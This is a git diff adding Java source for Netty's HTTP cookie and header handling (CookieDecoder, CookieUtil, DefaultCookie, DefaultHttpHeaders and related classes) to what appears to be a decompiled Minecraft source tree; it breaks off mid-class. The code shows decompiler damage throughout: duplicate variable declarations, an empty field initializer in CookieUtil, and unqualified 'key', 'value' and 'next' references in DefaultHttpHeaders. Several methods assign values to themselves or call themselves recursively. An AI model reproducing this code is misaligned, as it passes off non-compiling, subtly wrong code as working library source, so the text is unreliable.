+      c.setDomain(domain);
+      c.setSecure(secure);
+      c.setHttpOnly(httpOnly);
+      if (version > 0) {
+        c.setComment(comment);
+      }
+      if (version > 1) {
+        c.setCommentUrl(commentURL);
+        c.setPorts(ports);
+        c.setDiscard(discard);
+      }
+      
+      cookies.add(c);
+    }
+    
+    return cookies;
+  }
+  
+
+  private static void extractKeyValuePairs(String header, List<String> names, List<String> values)
+  {
+    int headerLen = header.length();
+    int i = 0;
+    
+
+
+    while (i != headerLen)
+    {
+
+      switch (header.charAt(i)) {
+      case '\t': case '\n': case '\013': case '\f': 
+      case '\r': case ' ': case ',': case ';': 
+        i++;
+        break;
+      
+
+
+      default: 
+        for (;;)
+        {
+          if (i == headerLen) {
+            return;
+          }
+          if (header.charAt(i) != '$') break;
+          i++;
+        }
+        
+        String value;
+        
+        String name;
+        
+        String value;
+        
+        if (i == headerLen) {
+          String name = null;
+          value = null;
+        } else {
+          int newNameStart = i;
+          do { String value;
+            switch (header.charAt(i))
+            {
+            case ';': 
+              name = header.substring(newNameStart, i);
+              value = null;
+              break;
+            
+            case '=': 
+              name = header.substring(newNameStart, i);
+              i++;
+              if (i == headerLen)
+              {
+                value = "";
+              }
+              else
+              {
+                int newValueStart = i;
+                char c = header.charAt(i);
+                if ((c == '"') || (c == '\''))
+                {
+                  StringBuilder newValueBuf = new StringBuilder(header.length() - i);
+                  char q = c;
+                  boolean hadBackslash = false;
+                  i++;
+                  for (;;) {
+                    if (i == headerLen) {
+                      String value = newValueBuf.toString();
+                      break;
+                    }
+                    if (hadBackslash) {
+                      hadBackslash = false;
+                      c = header.charAt(i++);
+                      switch (c) {
+                      case '"': case '\'': 
+                      case '\\': 
+                        newValueBuf.setCharAt(newValueBuf.length() - 1, c);
+                        break;
+                      
+                      default: 
+                        newValueBuf.append(c);break;
+                      }
+                    } else {
+                      c = header.charAt(i++);
+                      if (c == q) {
+                        String value = newValueBuf.toString();
+                        break;
+                      }
+                      newValueBuf.append(c);
+                      if (c == '\\') {
+                        hadBackslash = true;
+                      }
+                    }
+                  }
+                }
+                
+                int semiPos = header.indexOf(';', i);
+                if (semiPos > 0) {
+                  String value = header.substring(newValueStart, semiPos);
+                  i = semiPos;
+                } else {
+                  value = header.substring(newValueStart);
+                  i = headerLen;
+                }
+              }
+              break;
+            default: 
+              i++;
+            }
+            
+          } while (i != headerLen);
+          
+          name = header.substring(newNameStart);
+          value = null;
+        }
+        
+
+
+
+        names.add(name);
+        values.add(value);
+      }
+    }
+  }
+  
+  private CookieDecoder() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/CookieEncoderUtil.java b/src/minecraft/io/netty/handler/codec/http/CookieEncoderUtil.java
new file mode 100644
index 0000000..eb6e3fc
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/CookieEncoderUtil.java
@@ -0,0 +1,86 @@
+package io.netty.handler.codec.http;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CookieEncoderUtil
+{
+  static StringBuilder stringBuilder()
+  {
+    return InternalThreadLocalMap.get().stringBuilder();
+  }
+  
+  static String stripTrailingSeparator(StringBuilder buf) {
+    if (buf.length() > 0) {
+      buf.setLength(buf.length() - 2);
+    }
+    return buf.toString();
+  }
+  
+  static void add(StringBuilder sb, String name, String val) {
+    if (val == null) {
+      addQuoted(sb, name, "");
+      return;
+    }
+    
+    for (int i = 0; i < val.length(); i++) {
+      char c = val.charAt(i);
+      switch (c) {
+      case '\t': case ' ': case '"': case '(': case ')': 
+      case ',': case '/': case ':': case ';': case '<': 
+      case '=': case '>': case '?': case '@': case '[': 
+      case '\\': case ']': case '{': case '}': 
+        addQuoted(sb, name, val);
+        return;
+      }
+      
+    }
+    addUnquoted(sb, name, val);
+  }
+  
+  static void addUnquoted(StringBuilder sb, String name, String val) {
+    sb.append(name);
+    sb.append('=');
+    sb.append(val);
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static void addQuoted(StringBuilder sb, String name, String val) {
+    if (val == null) {
+      val = "";
+    }
+    
+    sb.append(name);
+    sb.append('=');
+    sb.append('"');
+    sb.append(val.replace("\\", "\\\\").replace("\"", "\\\""));
+    sb.append('"');
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  static void add(StringBuilder sb, String name, long val) {
+    sb.append(name);
+    sb.append('=');
+    sb.append(val);
+    sb.append(';');
+    sb.append(' ');
+  }
+  
+  private CookieEncoderUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/CookieHeaderNames.java b/src/minecraft/io/netty/handler/codec/http/CookieHeaderNames.java
new file mode 100644
index 0000000..57deb3a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/CookieHeaderNames.java
@@ -0,0 +1,18 @@
+package io.netty.handler.codec.http;
+
+final class CookieHeaderNames
+{
+  static final String PATH = "Path";
+  static final String EXPIRES = "Expires";
+  static final String MAX_AGE = "Max-Age";
+  static final String DOMAIN = "Domain";
+  static final String SECURE = "Secure";
+  static final String HTTPONLY = "HTTPOnly";
+  static final String COMMENT = "Comment";
+  static final String COMMENTURL = "CommentURL";
+  static final String DISCARD = "Discard";
+  static final String PORT = "Port";
+  static final String VERSION = "Version";
+  
+  private CookieHeaderNames() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/CookieUtil.java b/src/minecraft/io/netty/handler/codec/http/CookieUtil.java
new file mode 100644
index 0000000..671fba4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/CookieUtil.java
@@ -0,0 +1,102 @@
+package io.netty.handler.codec.http;
+
+import java.util.BitSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+final class CookieUtil
+{
+  private static final BitSet VALID_COOKIE_VALUE_OCTETS = ;
+  
+  private static final BitSet VALID_COOKIE_NAME_OCTETS = validCookieNameOctets(VALID_COOKIE_VALUE_OCTETS);
+  
+  private static BitSet validCookieValueOctets()
+  {
+    BitSet bits = new BitSet(8);
+    for (int i = 35; i < 127; i++)
+    {
+      bits.set(i);
+    }
+    bits.set(34, false);
+    bits.set(44, false);
+    bits.set(59, false);
+    bits.set(92, false);
+    return bits;
+  }
+  
+
+
+
+
+  private static BitSet validCookieNameOctets(BitSet validCookieValueOctets)
+  {
+    BitSet bits = new BitSet(8);
+    bits.or(validCookieValueOctets);
+    bits.set(40, false);
+    bits.set(41, false);
+    bits.set(60, false);
+    bits.set(62, false);
+    bits.set(64, false);
+    bits.set(58, false);
+    bits.set(47, false);
+    bits.set(91, false);
+    bits.set(93, false);
+    bits.set(63, false);
+    bits.set(61, false);
+    bits.set(123, false);
+    bits.set(125, false);
+    bits.set(32, false);
+    bits.set(9, false);
+    return bits;
+  }
+  
+  static int firstInvalidCookieNameOctet(CharSequence cs) {
+    return firstInvalidOctet(cs, VALID_COOKIE_NAME_OCTETS);
+  }
+  
+  static int firstInvalidCookieValueOctet(CharSequence cs) {
+    return firstInvalidOctet(cs, VALID_COOKIE_VALUE_OCTETS);
+  }
+  
+  static int firstInvalidOctet(CharSequence cs, BitSet bits) {
+    for (int i = 0; i < cs.length(); i++) {
+      char c = cs.charAt(i);
+      if (!bits.get(c)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  static CharSequence unwrapValue(CharSequence cs) {
+    int len = cs.length();
+    if ((len > 0) && (cs.charAt(0) == '"')) {
+      if ((len >= 2) && (cs.charAt(len - 1) == '"'))
+      {
+        return len == 2 ? "" : cs.subSequence(1, len - 1);
+      }
+      return null;
+    }
+    
+    return cs;
+  }
+  
+  private CookieUtil() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultCookie.java b/src/minecraft/io/netty/handler/codec/http/DefaultCookie.java
new file mode 100644
index 0000000..7a220d5
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultCookie.java
@@ -0,0 +1,360 @@
+package io.netty.handler.codec.http;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultCookie
+  implements Cookie
+{
+  private final String name;
+  private String value;
+  private String domain;
+  private String path;
+  private String comment;
+  private String commentUrl;
+  private boolean discard;
+  private Set<Integer> ports = Collections.emptySet();
+  private Set<Integer> unmodifiablePorts = ports;
+  private long maxAge = Long.MIN_VALUE;
+  
+  private int version;
+  
+  private boolean secure;
+  private boolean httpOnly;
+  
+  public DefaultCookie(String name, String value)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    name = name.trim();
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    for (int i = 0; i < name.length(); i++) {
+      char c = name.charAt(i);
+      if (c > '') {
+        throw new IllegalArgumentException("name contains non-ascii character: " + name);
+      }
+      
+
+
+      switch (c) {
+      case '\t': case '\n': case '\013': case '\f': case '\r': 
+      case ' ': case ',': case ';': case '=': 
+        throw new IllegalArgumentException("name contains one of the following prohibited characters: =,; \\t\\r\\n\\v\\f: " + name);
+      }
+      
+    }
+    
+
+    if (name.charAt(0) == '$') {
+      throw new IllegalArgumentException("name starting with '$' not allowed: " + name);
+    }
+    
+    this.name = name;
+    setValue(value);
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public String getValue()
+  {
+    return value;
+  }
+  
+  public void setValue(String value)
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    this.value = value;
+  }
+  
+  public String getDomain()
+  {
+    return domain;
+  }
+  
+  public void setDomain(String domain)
+  {
+    this.domain = validateValue("domain", domain);
+  }
+  
+  public String getPath()
+  {
+    return path;
+  }
+  
+  public void setPath(String path)
+  {
+    this.path = validateValue("path", path);
+  }
+  
+  public String getComment()
+  {
+    return comment;
+  }
+  
+  public void setComment(String comment)
+  {
+    this.comment = validateValue("comment", comment);
+  }
+  
+  public String getCommentUrl()
+  {
+    return commentUrl;
+  }
+  
+  public void setCommentUrl(String commentUrl)
+  {
+    this.commentUrl = validateValue("commentUrl", commentUrl);
+  }
+  
+  public boolean isDiscard()
+  {
+    return discard;
+  }
+  
+  public void setDiscard(boolean discard)
+  {
+    this.discard = discard;
+  }
+  
+  public Set<Integer> getPorts()
+  {
+    if (unmodifiablePorts == null) {
+      unmodifiablePorts = Collections.unmodifiableSet(ports);
+    }
+    return unmodifiablePorts;
+  }
+  
+  public void setPorts(int... ports)
+  {
+    if (ports == null) {
+      throw new NullPointerException("ports");
+    }
+    
+    int[] portsCopy = (int[])ports.clone();
+    if (portsCopy.length == 0) {
+      unmodifiablePorts = (this.ports = Collections.emptySet());
+    } else {
+      Set<Integer> newPorts = new TreeSet();
+      for (int p : portsCopy) {
+        if ((p <= 0) || (p > 65535)) {
+          throw new IllegalArgumentException("port out of range: " + p);
+        }
+        newPorts.add(Integer.valueOf(p));
+      }
+      this.ports = newPorts;
+      unmodifiablePorts = null;
+    }
+  }
+  
+  public void setPorts(Iterable<Integer> ports)
+  {
+    Set<Integer> newPorts = new TreeSet();
+    for (Iterator i$ = ports.iterator(); i$.hasNext();) { int p = ((Integer)i$.next()).intValue();
+      if ((p <= 0) || (p > 65535)) {
+        throw new IllegalArgumentException("port out of range: " + p);
+      }
+      newPorts.add(Integer.valueOf(p));
+    }
+    if (newPorts.isEmpty()) {
+      unmodifiablePorts = (this.ports = Collections.emptySet());
+    } else {
+      this.ports = newPorts;
+      unmodifiablePorts = null;
+    }
+  }
+  
+  public long getMaxAge()
+  {
+    return maxAge;
+  }
+  
+  public void setMaxAge(long maxAge)
+  {
+    this.maxAge = maxAge;
+  }
+  
+  public int getVersion()
+  {
+    return version;
+  }
+  
+  public void setVersion(int version)
+  {
+    this.version = version;
+  }
+  
+  public boolean isSecure()
+  {
+    return secure;
+  }
+  
+  public void setSecure(boolean secure)
+  {
+    this.secure = secure;
+  }
+  
+  public boolean isHttpOnly()
+  {
+    return httpOnly;
+  }
+  
+  public void setHttpOnly(boolean httpOnly)
+  {
+    this.httpOnly = httpOnly;
+  }
+  
+  public int hashCode()
+  {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Cookie)) {
+      return false;
+    }
+    
+    Cookie that = (Cookie)o;
+    if (!getName().equalsIgnoreCase(that.getName())) {
+      return false;
+    }
+    
+    if (getPath() == null) {
+      if (that.getPath() != null)
+        return false;
+    } else {
+      if (that.getPath() == null)
+        return false;
+      if (!getPath().equals(that.getPath())) {
+        return false;
+      }
+    }
+    if (getDomain() == null) {
+      if (that.getDomain() != null)
+        return false;
+    } else {
+      if (that.getDomain() == null) {
+        return false;
+      }
+      return getDomain().equalsIgnoreCase(that.getDomain());
+    }
+    
+    return true;
+  }
+  
+
+  public int compareTo(Cookie c)
+  {
+    int v = getName().compareToIgnoreCase(c.getName());
+    if (v != 0) {
+      return v;
+    }
+    
+    if (getPath() == null) {
+      if (c.getPath() != null)
+        return -1;
+    } else {
+      if (c.getPath() == null) {
+        return 1;
+      }
+      v = getPath().compareTo(c.getPath());
+      if (v != 0) {
+        return v;
+      }
+    }
+    
+    if (getDomain() == null) {
+      if (c.getDomain() != null)
+        return -1;
+    } else {
+      if (c.getDomain() == null) {
+        return 1;
+      }
+      v = getDomain().compareToIgnoreCase(c.getDomain());
+      return v;
+    }
+    
+    return 0;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append(getName());
+    buf.append('=');
+    buf.append(getValue());
+    if (getDomain() != null) {
+      buf.append(", domain=");
+      buf.append(getDomain());
+    }
+    if (getPath() != null) {
+      buf.append(", path=");
+      buf.append(getPath());
+    }
+    if (getComment() != null) {
+      buf.append(", comment=");
+      buf.append(getComment());
+    }
+    if (getMaxAge() >= 0L) {
+      buf.append(", maxAge=");
+      buf.append(getMaxAge());
+      buf.append('s');
+    }
+    if (isSecure()) {
+      buf.append(", secure");
+    }
+    if (isHttpOnly()) {
+      buf.append(", HTTPOnly");
+    }
+    return buf.toString();
+  }
+  
+  private static String validateValue(String name, String value) {
+    if (value == null) {
+      return null;
+    }
+    value = value.trim();
+    if (value.isEmpty()) {
+      return null;
+    }
+    for (int i = 0; i < value.length(); i++) {
+      char c = value.charAt(i);
+      switch (c) {
+      case '\n': case '\013': case '\f': case '\r': case ';': 
+        throw new IllegalArgumentException(name + " contains one of the following prohibited characters: " + ";\\r\\n\\f\\v (" + value + ')');
+      }
+      
+    }
+    
+    return value;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpRequest.java b/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpRequest.java
new file mode 100644
index 0000000..54c304f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpRequest.java
@@ -0,0 +1,120 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultFullHttpRequest
+  extends DefaultHttpRequest
+  implements FullHttpRequest
+{
+  private final ByteBuf content;
+  private final HttpHeaders trailingHeader;
+  private final boolean validateHeaders;
+  
+  public DefaultFullHttpRequest(HttpVersion httpVersion, HttpMethod method, String uri)
+  {
+    this(httpVersion, method, uri, Unpooled.buffer(0));
+  }
+  
+  public DefaultFullHttpRequest(HttpVersion httpVersion, HttpMethod method, String uri, ByteBuf content) {
+    this(httpVersion, method, uri, content, true);
+  }
+  
+  public DefaultFullHttpRequest(HttpVersion httpVersion, HttpMethod method, String uri, ByteBuf content, boolean validateHeaders)
+  {
+    super(httpVersion, method, uri, validateHeaders);
+    if (content == null) {
+      throw new NullPointerException("content");
+    }
+    this.content = content;
+    trailingHeader = new DefaultHttpHeaders(validateHeaders);
+    this.validateHeaders = validateHeaders;
+  }
+  
+  public HttpHeaders trailingHeaders()
+  {
+    return trailingHeader;
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public FullHttpRequest retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public FullHttpRequest retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public FullHttpRequest setProtocolVersion(HttpVersion version)
+  {
+    super.setProtocolVersion(version);
+    return this;
+  }
+  
+  public FullHttpRequest setMethod(HttpMethod method)
+  {
+    super.setMethod(method);
+    return this;
+  }
+  
+  public FullHttpRequest setUri(String uri)
+  {
+    super.setUri(uri);
+    return this;
+  }
+  
+  public FullHttpRequest copy()
+  {
+    DefaultFullHttpRequest copy = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().copy(), validateHeaders);
+    
+    copy.headers().set(headers());
+    copy.trailingHeaders().set(trailingHeaders());
+    return copy;
+  }
+  
+  public FullHttpRequest duplicate()
+  {
+    DefaultFullHttpRequest duplicate = new DefaultFullHttpRequest(getProtocolVersion(), getMethod(), getUri(), content().duplicate(), validateHeaders);
+    
+    duplicate.headers().set(headers());
+    duplicate.trailingHeaders().set(trailingHeaders());
+    return duplicate;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpResponse.java b/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpResponse.java
new file mode 100644
index 0000000..982e740
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultFullHttpResponse.java
@@ -0,0 +1,116 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultFullHttpResponse
+  extends DefaultHttpResponse
+  implements FullHttpResponse
+{
+  private final ByteBuf content;
+  private final HttpHeaders trailingHeaders;
+  private final boolean validateHeaders;
+  
+  public DefaultFullHttpResponse(HttpVersion version, HttpResponseStatus status)
+  {
+    this(version, status, Unpooled.buffer(0));
+  }
+  
+  public DefaultFullHttpResponse(HttpVersion version, HttpResponseStatus status, ByteBuf content) {
+    this(version, status, content, true);
+  }
+  
+  public DefaultFullHttpResponse(HttpVersion version, HttpResponseStatus status, ByteBuf content, boolean validateHeaders)
+  {
+    super(version, status, validateHeaders);
+    if (content == null) {
+      throw new NullPointerException("content");
+    }
+    this.content = content;
+    trailingHeaders = new DefaultHttpHeaders(validateHeaders);
+    this.validateHeaders = validateHeaders;
+  }
+  
+  public HttpHeaders trailingHeaders()
+  {
+    return trailingHeaders;
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public FullHttpResponse retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public FullHttpResponse retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public FullHttpResponse setProtocolVersion(HttpVersion version)
+  {
+    super.setProtocolVersion(version);
+    return this;
+  }
+  
+  public FullHttpResponse setStatus(HttpResponseStatus status)
+  {
+    super.setStatus(status);
+    return this;
+  }
+  
+  public FullHttpResponse copy()
+  {
+    DefaultFullHttpResponse copy = new DefaultFullHttpResponse(getProtocolVersion(), getStatus(), content().copy(), validateHeaders);
+    
+    copy.headers().set(headers());
+    copy.trailingHeaders().set(trailingHeaders());
+    return copy;
+  }
+  
+  public FullHttpResponse duplicate()
+  {
+    DefaultFullHttpResponse duplicate = new DefaultFullHttpResponse(getProtocolVersion(), getStatus(), content().duplicate(), validateHeaders);
+    
+    duplicate.headers().set(headers());
+    duplicate.trailingHeaders().set(trailingHeaders());
+    return duplicate;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpContent.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpContent.java
new file mode 100644
index 0000000..9019767
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpContent.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpContent
+  extends DefaultHttpObject
+  implements HttpContent
+{
+  private final ByteBuf content;
+  
+  public DefaultHttpContent(ByteBuf content)
+  {
+    if (content == null) {
+      throw new NullPointerException("content");
+    }
+    this.content = content;
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public HttpContent copy()
+  {
+    return new DefaultHttpContent(content.copy());
+  }
+  
+  public HttpContent duplicate()
+  {
+    return new DefaultHttpContent(content.duplicate());
+  }
+  
+  public int refCnt()
+  {
+    return content.refCnt();
+  }
+  
+  public HttpContent retain()
+  {
+    content.retain();
+    return this;
+  }
+  
+  public HttpContent retain(int increment)
+  {
+    content.retain(increment);
+    return this;
+  }
+  
+  public boolean release()
+  {
+    return content.release();
+  }
+  
+  public boolean release(int decrement)
+  {
+    return content.release(decrement);
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "(data: " + content() + ", decoderResult: " + getDecoderResult() + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/DefaultHttpHeaders.java b/src/minecraft/io/netty/handler/codec/http/DefaultHttpHeaders.java
new file mode 100644
index 0000000..14a783c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/DefaultHttpHeaders.java
@@ -0,0 +1,498 @@
+package io.netty.handler.codec.http;
+
+import io.netty.buffer.ByteBuf;
+import java.util.Arrays;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultHttpHeaders
+  extends HttpHeaders
+{
+  private static final int BUCKET_SIZE = 17;
+  
+  private static int index(int hash)
+  {
+    return hash % 17;
+  }
+  
+  private final HeaderEntry[] entries = new HeaderEntry[17];
+  private final HeaderEntry head = new HeaderEntry();
+  protected final boolean validate;
+  
+  public DefaultHttpHeaders() {
+    this(true);
+  }
+  
+  public DefaultHttpHeaders(boolean validate) {
+    this.validate = validate;
+    head.before = (head.after = head);
+  }
+  
+  void validateHeaderName0(CharSequence headerName) {
+    validateHeaderName(headerName);
+  }
+  
+  public HttpHeaders add(HttpHeaders headers)
+  {
+    if ((headers instanceof DefaultHttpHeaders)) {
+      DefaultHttpHeaders defaultHttpHeaders = (DefaultHttpHeaders)headers;
+      HeaderEntry e = head.after;
+      while (e != head) {
+        add(key, value);
+        e = after;
+      }
+      return this;
+    }
+    return super.add(headers);
+  }
+  
+
+  public HttpHeaders set(HttpHeaders headers)
+  {
+    if ((headers instanceof DefaultHttpHeaders)) {
+      clear();
+      DefaultHttpHeaders defaultHttpHeaders = (DefaultHttpHeaders)headers;
+      HeaderEntry e = head.after;
+      while (e != head) {
+        add(key, value);
+        e = after;
+      }
+      return this;
+    }
+    return super.set(headers);
+  }
+  
+
+  public HttpHeaders add(String name, Object value)
+  {
+    return add(name, value);
+  }
+  
+  public HttpHeaders add(CharSequence name, Object value)
+  {
+    CharSequence strVal;
+    if (validate) {
+      validateHeaderName0(name);
+      CharSequence strVal = toCharSequence(value);
+      validateHeaderValue(strVal);
+    } else {
+      strVal = toCharSequence(value);
+    }
+    int h = hash(name);
+    int i = index(h);
+    add0(h, i, name, strVal);
+    return this;
+  }
+  
+  public HttpHeaders add(String name, Iterable<?> values)
+  {
+    return add(name, values);
+  }
+  
+  public HttpHeaders add(CharSequence name, Iterable<?> values)
+  {
+    if (validate) {
+      validateHeaderName0(name);
+    }
+    int h = hash(name);
+    int i = index(h);
+    for (Object v : values) {
+      CharSequence vstr = toCharSequence(v);
+      if (validate) {
+        validateHeaderValue(vstr);
+      }
+      add0(h, i, name, vstr);
+    }
+    return this;
+  }
+  
+  private void add0(int h, int i, CharSequence name, CharSequence value)
+  {
+    HeaderEntry e = entries[i]; void 
+    
+      tmp25_22 = new HeaderEntry(h, name, value);HeaderEntry newEntry = tmp25_22;entries[i] = tmp25_22;
+    next = e;
+    
+
+    newEntry.addBefore(head);
+  }
+  
+  public HttpHeaders remove(String name)
+  {
+    return remove(name);
+  }
+  
+  public HttpHeaders remove(CharSequence name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    int h = hash(name);
+    int i = index(h);
+    remove0(h, i, name);
+    return this;
+  }
+  
+  private void remove0(int h, int i, CharSequence name) {
+    HeaderEntry e = entries[i];
+    if (e == null) {
+      return;
+    }
+    
+
+    while ((hash == h) && (equalsIgnoreCase(name, key))) {
+      e.remove();
+      HeaderEntry next = next;
+      if (next != null) {
+        entries[i] = next;
+        e = next;
+      } else {
+        entries[i] = null; return;
+      }
+    }
+    
+
+
+
+    for (;;)
+    {
+      HeaderEntry next = next;
+      if (next == null) {
+        break;
+      }
+      if ((hash == h) && (equalsIgnoreCase(name, key))) {
+        next = next;
+        next.remove();
+      } else {
+        e = next;
+      }
+    }
+  }
+  
+  public HttpHeaders set(String name, Object value)
+  {
+    return set(name, value);
+  }
+  
+  public HttpHeaders set(CharSequence name, Object value)
+  {
+    CharSequence strVal;
+    if (validate) {
+      validateHeaderName0(name);
+      CharSequence strVal = toCharSequence(value);
+      validateHeaderValue(strVal);
+    } else {
+      strVal = toCharSequence(value);
+    }
+    int h = hash(name);
+    int i = index(h);
+    remove0(h, i, name);
+    add0(h, i, name, strVal);
+    return this;
+  }
+  
+  public HttpHeaders set(String name, Iterable<?> values)
+  {
+    return set(name, values);
+  }
+  
+  public HttpHeaders set(CharSequence name, Iterable<?> values)
+  {
+    if (values == null) {
+      throw new NullPointerException("values");
+    }
+    if (validate) {
+      validateHeaderName0(name);
+    }
+    
+    int h = hash(name);
+    int i = index(h);
+    
+    remove0(h, i, name);
+    for (Object v : values) {
+      if (v == null) {
+        break;
+      }
+      CharSequence strVal = toCharSequence(v);
+      if (validate) {
+        validateHeaderValue(strVal);
+      }
+      add0(h, i, name, strVal);
+    }
+    
+    return this;
+  }
+  
+  public HttpHeaders clear()
+  {
+    Arrays.fill(entries, null);
+    head.before = (head.after = head);
+    return this;
+  }
+  
+  public String get(String name)
+  {
+    return get(name);
+  }
+  
+  public String get(CharSequence name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    int h = hash(name);
+    int i = index(h);
+    HeaderEntry e = entries[i];
+    CharSequence value = null;
+    
+    while (e != null) {
+      if ((hash == h) && (equalsIgnoreCase(name, key))) {
+        value = value;
+      }
+      
+      e = next;
+    }
+    if (value == null) {
+      return null;
+    }
+    return value.toString();
+  }
+  
+  public List<String> getAll(String name)
+  {
+    return getAll(name);
+  }
+  
+  public List<String> getAll(CharSequence name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    LinkedList<String> values = new LinkedList();
+    
+    int h = hash(name);
+    int i = index(h);
+    HeaderEntry e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (equalsIgnoreCase(name, key))) {
+        values.addFirst(e.getValue());
+      }
+      e = next;
+    }
+    return values;
+  }
+  
+  public List<Map.Entry<String, String>> entries()
+  {
+    List<Map.Entry<String, String>> all = new LinkedList();
+    
+
+    HeaderEntry e = head.after;
+    while (e != head) {
+      all.add(e);
+      e = after;
+    }
+    return all;
+  }
+  
+  public Iterator<Map.Entry<String, String>> iterator()
+  {
+    return new HeaderIterator(null);
+  }
+  
+  public boolean contains(String name)
+  {
+    return get(name) != null;
+  }
+  
+  public boolean contains(CharSequence name)
+  {
+    return get(name) != null;
+  }
+  
+  public boolean isEmpty()
+  {
+    return head == head.after;
+  }
+  
+  public boolean contains(String name, String value, boolean ignoreCaseValue)
+  {
+    return contains(name, value, ignoreCaseValue);
+  }
+  
+  public boolean contains(CharSequence name, CharSequence value, boolean ignoreCaseValue)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    int h = hash(name);
+    int i = index(h);
+    HeaderEntry e = entries[i];
+    while (e != null) {
+      if ((hash == h) && (equalsIgnoreCase(name, key))) {
+        if (ignoreCaseValue) {
+          if (equalsIgnoreCase(value, value)) {
+            return true;
+          }
+        }
+        else if (value.equals(value)) {
+          return true;
+        }
+      }
+      
+      e = next;
+    }
+    return false;
+  }
+  
+  public Set<String> names()
+  {
+    Set<String> names = new LinkedHashSet();
+    HeaderEntry e = head.after;
+    while (e != head) {
+      names.add(e.getKey());
+      e = after;
+    }
+    return names;
+  }
+  
+  private static CharSequence toCharSequence(Object value) {
+    if (value == null) {
+      return null;
+    }
+    if ((value instanceof CharSequence)) {
+      return (CharSequence)value;
+    }
+    if ((value instanceof Number)) {
+      return value.toString();
+    }
+    if ((value instanceof Date)) {
+      return HttpHeaderDateFormat.get().format((Date)value);
+    }
+    if ((value instanceof Calendar)) {
+      return HttpHeaderDateFormat.get().format(((Calendar)value).getTime());
+    }
+    return value.toString();
+  }
+  
+  void encode(ByteBuf buf) {
+    HeaderEntry e = head.after;
+    while (e != head) {
+      e.encode(buf);
+      e = after;
+    }
+  }
+  
+  private final class HeaderIterator implements Iterator<Map.Entry<String, String>>
+  {
+    private DefaultHttpHeaders.HeaderEntry current = head;
+    
+    private HeaderIterator() {}
+    
+    public boolean hasNext() { return current.after != head; }
+    
+
+    public Map.Entry<String, String> next()
+    {
+      current = current.after;
+      
+      if (current == head) {
+        throw new NoSuchElementException();
+      }
+      
+      return current;
+    }
+    
+
+
